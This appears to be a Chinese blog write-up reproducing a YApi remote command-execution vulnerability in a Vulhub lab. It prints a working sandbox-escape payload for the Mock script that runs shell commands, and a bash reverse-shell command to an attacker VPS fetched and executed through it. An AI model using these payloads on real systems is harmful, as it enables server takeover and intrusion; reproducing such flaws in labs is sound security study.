Yapi命令执行漏洞复现

  • Post author:
  • Post category:其他




一、漏洞描述

YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

YAPI开放了注册功能,注册用户后新建项目并在接口的Mock功能里面添加了恶意脚本,最终执行了脚本里的命令



二、环境搭建

使用

Vulhub

搭建测试环境,项目地址

https://github.com/vulhub/vulhub

使用

docker

启动

docker-compose up -d

在这里插入图片描述

启动成功后访问

ip:3000


在这里插入图片描述



三、漏洞复现

首先注册一个账户,并登陆

在这里插入图片描述

新建项目

在这里插入图片描述

新建接口

在这里插入图片描述

高级

Mock

-> 脚本,填写恶意命令代码

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()

保存,点击预览,访问

Mock

地址

在这里插入图片描述

查看命令执行的结果

在这里插入图片描述



四、反弹shell

直接尝试

bash -i >& /dev/tcp/IP/port 0>&1

,发现报错无法正常反弹

在这里插入图片描述

尝试在

VPS

上使用

python

开启

http服务

新建

1.txt

文件内容为

bash -i >& /dev/tcp/IP/Port 0>&1


在这里插入图片描述

编辑网站

Mock

脚本

在这里插入图片描述

然后重新访问

Mock地址

在这里插入图片描述

成功反弹



版权声明:本文为MrHatSec原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。